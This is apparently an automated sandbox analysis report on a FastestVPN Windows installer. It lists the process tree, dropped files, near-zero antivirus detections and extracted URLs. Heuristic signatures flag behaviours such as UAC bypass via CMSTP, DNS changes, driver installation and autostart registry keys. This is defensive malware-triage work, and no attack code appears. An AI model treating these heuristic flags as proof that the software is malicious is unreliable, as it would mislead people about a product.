    behaviorgraph top1 signatures2 2 Behavior Graph ID: 1524831 Sample: mapMd1URzq.exe Startdate: 03/10/2024 Architecture: WINDOWS Score: 54 102 Malicious sample detected (through community Yara rule) 2->102 104 Yara detected UAC Bypass using CMSTP 2->104 106 NDIS Filter Driver detected (likely used to intercept and sniff network traffic) 2->106 108 4 other signatures 2->108 9 mapMd1URzq.exe 2 2->9         started        12 FastestVPN.WindowsService.exe 2->12         started        15 FastestVPN.exe 2->15         started        17 5 other processes 2->17 process3 dnsIp4 82 C:\Users\user\AppData\...\mapMd1URzq.tmp, PE32 9->82 dropped 20 mapMd1URzq.tmp 28 163 9->20         started        114 Reads the Security eventlog 12->114 116 Reads the System eventlog 12->116 118 Suspicious powershell command line found 15->118 23 powershell.exe 15->23         started        90 127.0.0.1 unknown unknown 17->90 120 Modifies the DNS server 17->120 25 drvinst.exe 12 17->25         started        27 drvinst.exe 44 2 17->27         started        29 WerFault.exe 17->29         started        31 conhost.exe 17->31         started        file5 signatures6 process7 file8 66 C:\...\FastestVPN.WindowsService.exe (copy), PE32 20->66 dropped 68 C:\Program Files\FastestVPN\...\is-APR4M.tmp, PE32+ 20->68 dropped 70 C:\Program Files\...\FastestVPN.exe (copy), PE32 20->70 dropped 80 194 other files (2 malicious) 20->80 dropped 33 cmd.exe 1 20->33         started        36 cmd.exe 1 20->36         started        38 cmd.exe 20->38         started        42 7 other processes 20->42 40 conhost.exe 23->40         started        72 C:\Windows\System32\...\tap0901.sys (copy), PE32+ 25->72 dropped 74 C:\Windows\System32\...\SETD174.tmp, PE32+ 25->74 dropped 76 C:\Windows\System32\...\tap0901.sys (copy), PE32+ 27->76 dropped 78 C:\Windows\System32\drivers\SETDAB9.tmp, PE32+ 27->78 dropped process9 signatures10 92 Uses cmd line tools excessively to alter registry or file data 33->92 94 Uses regedit.exe to modify the Windows registry 33->94 96 Queries sensitive system registry key value via command line tool 33->96 44 tapinstall.exe 1 8 33->44         started        47 reg.exe 1 33->47         started        58 4 other processes 33->58 49 sc.exe 1 36->49         started        51 xcopy.exe 36->51         started        60 7 other processes 36->60 53 regedit.exe 38->53         started        56 conhost.exe 38->56         started        98 Reads the Security eventlog 42->98 100 Reads the System eventlog 42->100 62 5 other processes 42->62 process11 file12 84 C:\Users\user\AppData\...\tap0901.sys (copy), PE32+ 44->84 dropped 86 C:\Users\user\AppData\Local\...\SETCF80.tmp, PE32+ 44->86 dropped 64 conhost.exe 49->64         started        88 C:\Windows\System32\...\fastestvpndriver.sys, PE32+ 51->88 dropped 110 Creates autostart registry keys with suspicious values (likely registry only malware) 53->110 112 Creates an autostart registry key pointing to binary in C:\Windows 53->112 signatures13 process14

    Screenshots

    Thumbnails

    This section contains all screenshots as thumbnails, including those not shown in the slideshow.


    windows-stand

    Antivirus, Machine Learning and Genetic Malware Detection

    Initial Sample

    SourceDetectionScannerLabelLink
    mapMd1URzq.exe0%VirustotalBrowse
    mapMd1URzq.exe0%ReversingLabs

    Dropped Files

    SourceDetectionScannerLabelLink
    C:\Program Files\FastestVPN\BouncyCastle.Crypto.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\FastestVPN.BLL.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\FastestVPN.Common.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\FastestVPN.DI.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\FastestVPN.Data.Local.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\FastestVPN.Data.Remote.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\FastestVPN.Diagnostics.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\FastestVPN.ViewModel.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\FastestVPN.exe (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Flurl.Http.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Flurl.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Hardcodet.NotifyIcon.Wpf.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Microsoft.AppCenter.Analytics.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Microsoft.AppCenter.Crashes.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Microsoft.AppCenter.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Microsoft.AspNet.SignalR.Client.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Microsoft.Bcl.AsyncInterfaces.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Microsoft.Extensions.DependencyInjection.Abstractions.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Microsoft.Extensions.DependencyInjection.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Newtonsoft.Json.dll (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\devcon.exe (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-4HA7V.tmp0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\is-E1J18.tmp0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tap0901.sys (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\driver\windows10\amd64\tapinstall.exe (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-CEAE4.tmp0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\driver\windows10\i386\is-GBTCG.tmp0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\driver\windows10\i386\tap0901.sys (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\driver\windows10\i386\tapinstall.exe (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-AONU2.tmp0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\driver\windows\amd64\is-ECRGA.tmp0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\driver\windows\amd64\tap0901.sys (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\driver\windows\amd64\tapinstall.exe (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-3FPII.tmp0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\driver\windows\i386\is-87ND4.tmp0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\driver\windows\i386\tap0901.sys (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\driver\windows\i386\tapinstall.exe (copy)0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\is-0N43E.tmp0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\is-5L8BD.tmp0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\is-625EJ.tmp0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\is-6QD3F.tmp0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\is-72O2I.tmp0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\is-935KR.tmp0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\is-9D9JG.tmp0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\is-APR4M.tmp0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\is-BQE44.tmp0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\is-BUHJE.tmp0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\is-FLT4I.tmp0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\is-M7B0D.tmp0%ReversingLabs
    C:\Program Files\FastestVPN\Resources\is-MISRG.tmp0%ReversingLabs

    Unpacked PE Files

    ⊘No Antivirus matches

    Domains

    SourceDetectionScannerLabelLink
    fp2e7a.wpc.phicdn.net0%VirustotalBrowse

    URLs

    SourceDetectionScannerLabelLink
    http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl00%URL Reputationsafe
    http://crl.microsoft0%URL Reputationsafe
    https://aka.ms/pscore6lB0%URL Reputationsafe
    https://www.remobjects.com/ps0%URL Reputationsafe
    https://nuget.org/nuget.exe0%URL Reputationsafe
    https://www.innosetup.com/0%URL Reputationsafe
    http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name0%URL Reputationsafe
    http://pesterbdd.com/images/Pester.png0%URL Reputationsafe
    http://schemas.xmlsoap.org/soap/encoding/0%URL Reputationsafe
    https://go.micro0%URL Reputationsafe
    http://www.entrust.net/rpa030%URL Reputationsafe
    https://contoso.com/Icon0%URL Reputationsafe
    http://schemas.xmlsoap.org/wsdl/0%URL Reputationsafe
    https://www.entrust.net/rpa00%URL Reputationsafe
    http://ocsp.sectigo.com00%URL Reputationsafe
    http://ocsp.entrust.net030%URL Reputationsafe
    http://ip-api.com/json0%URL Reputationsafe
    https://contoso.com/License0%URL Reputationsafe
    https://aka.ms/pscore60%URL Reputationsafe
    http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.p7c0#0%URL Reputationsafe
    http://www.openssl.org/support/faq.html0%URL Reputationsafe
    https://contoso.com/0%URL Reputationsafe
    http://nuget.org/NuGet.exe0%URL Reputationsafe
    https://sectigo.com/CPS00%URL Reputationsafe
    http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#0%VirustotalBrowse
    https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupU0%VirustotalBrowse
    http://schemas.datacontract.org0%VirustotalBrowse
    https://github.com/dotnet/corefx/tree/c6cf790234e063b855fcdb50f3fb1b3cfac7327580%VirustotalBrowse
    https://fastestvpn.com/buy-vpn1%VirustotalBrowse
    https://github.com/aspnet/AspNetKatanad0%VirustotalBrowse
    http://www.ssl.com/repository/SSLcomRootCertificationAuthorityRSA.crt00%VirustotalBrowse
    https://github.com/hardcodet/wpf-notifyicon.0%VirustotalBrowse
    https://fastestvpn.com/terms-of-service?device=windows1%VirustotalBrowse
    http://aia.entrust.net/ts2-chain256.p7c010%VirustotalBrowse
    http://crls.ssl.com/SSLcom-RootCA-EV-RSA-4096-R2.crl00%VirustotalBrowse
    http://cert.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.cer0_0%VirustotalBrowse
    https://scripts.sil.org/OFL0%VirustotalBrowse
    https://github.com/dotnet/corefx/tree/7601f4f6225089ff0%VirustotalBrowse
    https://fastestvpn.com/buy-vpn?device=windows1%VirustotalBrowse
    http://www.certplus.com/CRL/class3P.crl00%VirustotalBrowse
    https://api.fastestvpn.com/v21%VirustotalBrowse
    http://schemas.datacontract.org/2004/07/System.ServiceProcess0%VirustotalBrowse
    http://www.hardcodet.net/taskbar0%VirustotalBrowse
    https://github.com/JamesNK/Newtonsoft.Jsond0%VirustotalBrowse
    http://signalr.net/0%VirustotalBrowse
    https://in.appcenter.ms./logs?api-version=1.0.00%VirustotalBrowse
    https://www.fastestvpn.com/0%VirustotalBrowse
    http://www.entrust.net/rpa00%VirustotalBrowse
    http://www.apache.org/licenses/LICENSE-2.0.html0%VirustotalBrowse
    http://schemas.datacontract.org/2004/07/0%VirustotalBrowse
    http://wpfanimatedgif.codeplex.com1%VirustotalBrowse
    https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4f0%VirustotalBrowse
    http://openvpn.net/faq.html#dhcpclientserv2%VirustotalBrowse
    https://github.com/Pester/Pester1%VirustotalBrowse
    https://api.fastestvpn.com//v2/chat1%VirustotalBrowse
    https://g.live.com/odclientsettings/Prod1C:0%VirustotalBrowse

    Domains and IPs

    Contacted Domains

    NameIPActiveMaliciousAntivirus DetectionReputation
    fp2e7a.wpc.phicdn.net
    		192.229.221.95
    		truefalseunknown

    URLs from Memory and Binaries

    NameSourceMaliciousAntivirus DetectionReputation
    https://jrsoftware.org/ishelp/index.php?topic=setupcmdlineSetupUmapMd1URzq.exefalseunknown
    https://fastestvpn.com/buy-vpnFastestVPN.exe, FastestVPN.exe, 00000024.00000002.3413077559.0000000006132000.00000002.00000001.01000000.0000001A.sdmpfalseunknown
    http://crl.sectigo.com/SectigoPublicCodeSigningRootR46.crl0is-SRDRF.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-935KR.tmp.2.dr, is-0N43E.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-625EJ.tmp.2.drfalse
    • URL Reputation: safe
    		unknown
    http://schemas.datacontract.orgFastestVPN.WindowsService.exe, 00000027.00000002.2584631985.0000000003345000.00000004.00000800.00020000.00000000.sdmpfalseunknown
    http://crl.microsoftpowershell.exe, 0000002E.00000002.2645162412.000000000789B000.00000004.00000020.00020000.00000000.sdmpfalse
    • URL Reputation: safe
    		unknown
    https://github.com/dotnet/corefx/tree/c6cf790234e063b855fcdb50f3fb1b3cfac732758FastestVPN.exe, 00000024.00000002.3436008772.000000000C672000.00000002.00000001.01000000.00000042.sdmpfalseunknown
    http://crt.sectigo.com/SectigoPublicCodeSigningCAEVR36.crt0#is-SRDRF.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-935KR.tmp.2.dr, is-0N43E.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-625EJ.tmp.2.drfalseunknown
    http://ocsps.ssl.com0?mapMd1URzq.exefalse
      		unknown
      http://www.ssl.com/repository/SSLcomRootCertificationAuthorityRSA.crt0mapMd1URzq.exefalseunknown
      https://github.com/aspnet/AspNetKatanadFastestVPN.WindowsService.exe, 0000002D.00000002.3390712104.000000000178C000.00000004.00000800.00020000.00000000.sdmpfalseunknown
      https://github.com/hardcodet/wpf-notifyicon.FastestVPN.exe, 00000024.00000002.3414353260.0000000006362000.00000002.00000001.01000000.0000001F.sdmpfalseunknown
      http://crls.ssl.com/SSLcom-RootCA-EV-RSA-4096-R2.crl0mapMd1URzq.exefalseunknown
      http://cert.ssl.com/SSLcom-SubCA-EV-CodeSigning-RSA-4096-R3.cer0_mapMd1URzq.exefalseunknown
      https://fastestvpn.com/terms-of-service?device=windowsFastestVPN.exe, FastestVPN.exe, 00000024.00000002.3413077559.0000000006132000.00000002.00000001.01000000.0000001A.sdmpfalseunknown
      http://aia.entrust.net/ts2-chain256.p7c01mapMd1URzq.tmp, 00000002.00000002.2678202060.000000000018D000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3428025746.000000000B751000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2582961026.000000000166F000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2584575757.0000000001A20000.00000004.00000020.00020000.00000000.sdmp, is-1G987.tmp.2.dr, is-SRDRF.tmp.2.dr, is-L52FN.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-K5QR5.tmp.2.dr, is-KN6S1.tmp.2.dr, is-935KR.tmp.2.dr, is-1L7K0.tmp.2.dr, is-21GOU.tmp.2.dr, is-ERPH0.tmp.2.dr, is-0N43E.tmp.2.dr, is-AKR35.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-6ANJF.tmp.2.dr, is-625EJ.tmp.2.drfalseunknown
      http://www.certplus.com/CRL/class3P.crl0FastestVPN.WindowsService.exe, 00000027.00000002.2586462339.00000000060FE000.00000004.00000020.00020000.00000000.sdmpfalseunknown
      http://schemas.datacontract.org/2004/07/System.ServiceProcessFastestVPN.WindowsService.exe, 00000027.00000002.2584631985.0000000003345000.00000004.00000800.00020000.00000000.sdmpfalseunknown
      http://www.hardcodet.net/taskbarFastestVPN.exe, 00000024.00000002.3414353260.0000000006362000.00000002.00000001.01000000.0000001F.sdmp, FastestVPN.exe, 00000024.00000002.3392171368.0000000003151000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000000.2557360869.0000000000E7D000.00000002.00000001.01000000.00000011.sdmpfalseunknown
      https://github.com/dotnet/corefx/tree/7601f4f6225089ffFastestVPN.exefalseunknown
      https://scripts.sil.org/OFLFastestVPN.exe, 00000024.00000002.3424953726.0000000009542000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3414817690.00000000064D0000.00000004.00000020.00020000.00000000.sdmpfalseunknown
      https://aka.ms/pscore6lBpowershell.exe, 0000002E.00000002.2628200467.0000000005071000.00000004.00000800.00020000.00000000.sdmpfalse
      • URL Reputation: safe
      		unknown
      https://www.fastestvpn.com/mapMd1URzq.exe, 00000000.00000003.2683170496.00000000023D6000.00000004.00001000.00020000.00000000.sdmp, mapMd1URzq.exe, 00000000.00000003.2129146143.0000000002890000.00000004.00001000.00020000.00000000.sdmp, mapMd1URzq.tmp, 00000002.00000003.2137146719.0000000003390000.00000004.00001000.00020000.00000000.sdmpfalseunknown
      https://www.remobjects.com/psmapMd1URzq.exe, 00000000.00000003.2134124471.000000007FB7B000.00000004.00001000.00020000.00000000.sdmp, mapMd1URzq.exe, 00000000.00000003.2132204149.00000000028AF000.00000004.00001000.00020000.00000000.sdmp, mapMd1URzq.tmp, 00000002.00000000.2135762206.0000000000401000.00000020.00000001.01000000.00000004.sdmpfalse
      • URL Reputation: safe
      		unknown
      https://nuget.org/nuget.exepowershell.exe, 0000002E.00000002.2641589469.00000000060D6000.00000004.00000800.00020000.00000000.sdmpfalse
      • URL Reputation: safe
      		unknown
      https://www.innosetup.com/mapMd1URzq.exe, 00000000.00000003.2134124471.000000007FB7B000.00000004.00001000.00020000.00000000.sdmp, mapMd1URzq.exe, 00000000.00000003.2132204149.00000000028AF000.00000004.00001000.00020000.00000000.sdmp, mapMd1URzq.tmp, 00000002.00000000.2135762206.0000000000401000.00000020.00000001.01000000.00000004.sdmpfalse
      • URL Reputation: safe
      		unknown
      https://fastestvpn.com/buy-vpn?device=windowsFastestVPN.exe, FastestVPN.exe, 00000024.00000002.3413077559.0000000006132000.00000002.00000001.01000000.0000001A.sdmpfalseunknown
      https://api.fastestvpn.com/v2FastestVPN.exe, FastestVPN.exe, 00000024.00000002.3413769590.00000000061A2000.00000002.00000001.01000000.0000001E.sdmp, is-1G987.tmp.2.drfalseunknown
      https://github.com/JamesNK/Newtonsoft.JsondFastestVPN.WindowsService.exe, 0000002D.00000002.3390712104.000000000178C000.00000004.00000800.00020000.00000000.sdmpfalseunknown
      http://signalr.net/FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 00000020.00000002.2559534052.00000000055F2000.00000002.00000001.01000000.0000000E.sdmpfalseunknown
      https://in.appcenter.ms./logs?api-version=1.0.0FastestVPN.exe, 00000024.00000002.3431773700.000000000BE32000.00000002.00000001.01000000.0000003C.sdmpfalseunknown
      http://schemas.xmlsoap.org/ws/2005/05/identity/claims/nameFastestVPN.exe, 00000024.00000002.3392171368.0000000003151000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, FastestVPN.WindowsService.exe, 0000002D.00000002.3390712104.0000000001736000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002E.00000002.2628200467.0000000005071000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000035.00000002.2777953743.000001C20009B000.00000004.00000800.00020000.00000000.sdmpfalse
      • URL Reputation: safe
      		unknown
      http://wpfanimatedgif.codeplex.comFastestVPN.exe, 00000024.00000002.3392171368.0000000003151000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000000.2557360869.0000000000E7D000.00000002.00000001.01000000.00000011.sdmp, FastestVPN.exe, 00000024.00000002.3418828088.00000000066C2000.00000002.00000001.01000000.00000020.sdmpfalseunknown
      http://www.entrust.net/rpa0mapMd1URzq.tmp, 00000002.00000002.2678202060.000000000018D000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3414817690.00000000065BA000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2582961026.000000000166F000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2584575757.0000000001A20000.00000004.00000020.00020000.00000000.sdmp, is-1G987.tmp.2.dr, is-SRDRF.tmp.2.dr, is-L52FN.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-K5QR5.tmp.2.dr, is-KN6S1.tmp.2.dr, is-935KR.tmp.2.dr, is-1L7K0.tmp.2.dr, is-21GOU.tmp.2.dr, is-ERPH0.tmp.2.dr, is-0N43E.tmp.2.dr, is-AKR35.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-6ANJF.tmp.2.dr, is-625EJ.tmp.2.drfalseunknown
      http://ocsp.sectigo.com0.is-SRDRF.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-935KR.tmp.2.dr, is-0N43E.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-625EJ.tmp.2.drfalse
        		unknown
        https://fastestvpn.com/upgrade?t=ndelyNN7yduAcFastestVPN.exefalse
          		unknown
          https://github.com/Outfitio/Outfit-Fonts)s/FFastestVPN.exe, 00000024.00000002.3414817690.00000000064E4000.00000004.00000020.00020000.00000000.sdmpfalse
            		unknown
            http://pesterbdd.com/images/Pester.pngpowershell.exe, 0000002E.00000002.2628200467.00000000051C3000.00000004.00000800.00020000.00000000.sdmpfalse
            • URL Reputation: safe
            		unknown
            http://schemas.xmlsoap.org/soap/encoding/FastestVPN.exe, 00000024.00000002.3392171368.0000000003151000.00000004.00000800.00020000.00000000.sdmpfalse
            • URL Reputation: safe
            		unknown
            http://schemas.datacontract.org/2004/07/FastestVPN.WindowsService.exe, 00000027.00000002.2584631985.0000000003345000.00000004.00000800.00020000.00000000.sdmpfalseunknown
            http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 0000002E.00000002.2628200467.00000000051C3000.00000004.00000800.00020000.00000000.sdmpfalseunknown
            https://fastesvpn-s3-eu-north-1.11982powershell.exe, 00000035.00000002.2777953743.000001C20009B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000035.00000002.2777953743.000001C200504000.00000004.00000800.00020000.00000000.sdmpfalse
              		unknown
              https://go.micropowershell.exe, 0000002E.00000002.2628200467.0000000005258000.00000004.00000800.00020000.00000000.sdmpfalse
              • URL Reputation: safe
              		unknown
              http://www.entrust.net/rpa03mapMd1URzq.tmp, 00000002.00000002.2678202060.000000000018D000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3414817690.00000000065BA000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2582961026.000000000166F000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2584575757.0000000001A20000.00000004.00000020.00020000.00000000.sdmp, is-1G987.tmp.2.dr, is-SRDRF.tmp.2.dr, is-L52FN.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-K5QR5.tmp.2.dr, is-KN6S1.tmp.2.dr, is-935KR.tmp.2.dr, is-1L7K0.tmp.2.dr, is-21GOU.tmp.2.dr, is-ERPH0.tmp.2.dr, is-0N43E.tmp.2.dr, is-AKR35.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-6ANJF.tmp.2.dr, is-625EJ.tmp.2.drfalse
              • URL Reputation: safe
              		unknown
              https://github.com/dotnet/corefx/tree/7601f4f6225089ffb291dc7d58293c7bbf5c5d4fFastestVPN.exe, FastestVPN.exe, 00000024.00000002.3412669512.00000000060F2000.00000002.00000001.01000000.00000018.sdmpfalseunknown
              https://contoso.com/Iconpowershell.exe, 0000002E.00000002.2641589469.00000000060D6000.00000004.00000800.00020000.00000000.sdmpfalse
              • URL Reputation: safe
              		unknown
              http://crl.ver)svchost.exe, 00000033.00000002.3390638016.000001D2B4200000.00000004.00000020.00020000.00000000.sdmpfalse
                		unknown
                http://openvpn.net/faq.html#dhcpclientservis-935KR.tmp.2.drfalseunknown
                https://github.com/Pester/Pesterpowershell.exe, 0000002E.00000002.2628200467.00000000051C3000.00000004.00000800.00020000.00000000.sdmpfalseunknown
                https://api.fastestvpn.com//v2/chatFastestVPN.exe, FastestVPN.exe, 00000024.00000002.3413077559.0000000006132000.00000002.00000001.01000000.0000001A.sdmpfalseunknown
                http://foo.com/fooFastestVPN.exe, 00000034.00000002.2675752103.0000000003341000.00000004.00000800.00020000.00000000.sdmpfalse
                  		unknown
                  https://g.live.com/odclientsettings/Prod1C:svchost.exe, 00000033.00000003.2624525751.000001D2B411E000.00000004.00000800.00020000.00000000.sdmpfalseunknown
                  https://github.com/hardcodet/wpf-notifyiconFastestVPN.exe, FastestVPN.exe, 00000024.00000002.3414353260.0000000006362000.00000002.00000001.01000000.0000001F.sdmpfalse
                    		unknown
                    http://schemas.xmlsoap.org/wsdl/FastestVPN.exe, 00000024.00000002.3392171368.0000000003151000.00000004.00000800.00020000.00000000.sdmpfalse
                    • URL Reputation: safe
                    		unknown
                    https://fastestvpn.com/password/resetFastestVPN.exe, FastestVPN.exe, 00000024.00000002.3413077559.0000000006132000.00000002.00000001.01000000.0000001A.sdmpfalse
                      		unknown
                      https://www.newtonsoft.com/jsonschemais-8HGA9.tmp.2.drfalse
                        		unknown
                        http://defaultcontainer/FastestVPN;component/Assets/Fonts/outfit-variablefont_wght.ttfFastestVPN.exe, 00000024.00000002.3392171368.00000000037AB000.00000004.00000800.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3392171368.00000000033A3000.00000004.00000800.00020000.00000000.sdmpfalse
                          		unknown
                          https://github.com/ericsink/SQLitePCL.rawFastestVPN.exe, FastestVPN.exe, 00000024.00000002.3433346855.000000000C242000.00000002.00000001.01000000.0000003F.sdmp, FastestVPN.exe, 00000024.00000002.3433577336.000000000C272000.00000002.00000001.01000000.00000040.sdmp, FastestVPN.exe, 00000024.00000002.3433728992.000000000C292000.00000002.00000001.01000000.00000041.sdmpfalse
                            		unknown
                            https://github.com/tmenier/Flurl.git5is-ERPH0.tmp.2.drfalse
                              		unknown
                              http://crl.entrust.net/ts2ca.crl0mapMd1URzq.tmp, 00000002.00000002.2678202060.000000000018D000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3428025746.000000000B751000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2582961026.000000000166F000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2584575757.0000000001A20000.00000004.00000020.00020000.00000000.sdmp, is-1G987.tmp.2.dr, is-SRDRF.tmp.2.dr, is-L52FN.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-K5QR5.tmp.2.dr, is-KN6S1.tmp.2.dr, is-935KR.tmp.2.dr, is-1L7K0.tmp.2.dr, is-21GOU.tmp.2.dr, is-ERPH0.tmp.2.dr, is-0N43E.tmp.2.dr, is-AKR35.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-6ANJF.tmp.2.dr, is-625EJ.tmp.2.drfalse
                                		unknown
                                https://github.com/novotnyllc/bc-csharpis-S1CTK.tmp.2.drfalse
                                  		unknown
                                  https://www.entrust.net/rpa0mapMd1URzq.tmp, 00000002.00000002.2678202060.000000000018D000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3428025746.000000000B751000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2582961026.000000000166F000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2584575757.0000000001A20000.00000004.00000020.00020000.00000000.sdmp, is-1G987.tmp.2.dr, is-SRDRF.tmp.2.dr, is-L52FN.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-K5QR5.tmp.2.dr, is-KN6S1.tmp.2.dr, is-935KR.tmp.2.dr, is-1L7K0.tmp.2.dr, is-21GOU.tmp.2.dr, is-ERPH0.tmp.2.dr, is-0N43E.tmp.2.dr, is-AKR35.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-6ANJF.tmp.2.dr, is-625EJ.tmp.2.drfalse
                                  • URL Reputation: safe
                                  		unknown
                                  http://crl.entrust.net/g2ca.crl0mapMd1URzq.tmp, 00000002.00000002.2678202060.000000000018D000.00000004.00000010.00020000.00000000.sdmp, FastestVPN.exe, 00000024.00000002.3414817690.00000000065BA000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2582961026.000000000166F000.00000004.00000020.00020000.00000000.sdmp, FastestVPN.WindowsService.exe, 00000027.00000002.2584575757.0000000001A20000.00000004.00000020.00020000.00000000.sdmp, is-1G987.tmp.2.dr, is-SRDRF.tmp.2.dr, is-L52FN.tmp.2.dr, is-9AV56.tmp.2.dr, is-VKG1P.tmp.2.dr, is-K5QR5.tmp.2.dr, is-KN6S1.tmp.2.dr, is-935KR.tmp.2.dr, is-1L7K0.tmp.2.dr, is-21GOU.tmp.2.dr, is-ERPH0.tmp.2.dr, is-0N43E.tmp.2.dr, is-AKR35.tmp.2.dr, is-5L8BD.tmp.2.dr, is-BQE44.tmp.2.dr, is-6ANJF.tmp.2.dr, is-625EJ.tmp.2.drfalse
                                    		unknown
                                    https://fastestvpn.com/aboutFastestVPN.exe, FastestVPN.exe, 00000024.00000002.3413077559.0000000006132000.00000002.00000001.01000000.0000001A.sdmpfalse
                                      		unknown
                                      https://scripts.sil.org/OFLThisFastestVPN.exe, 00000024.00000000.2557360869.0000000000CB2000.00000002.00000001.01000000.00000011.sdmpfalse
                                        		unknown
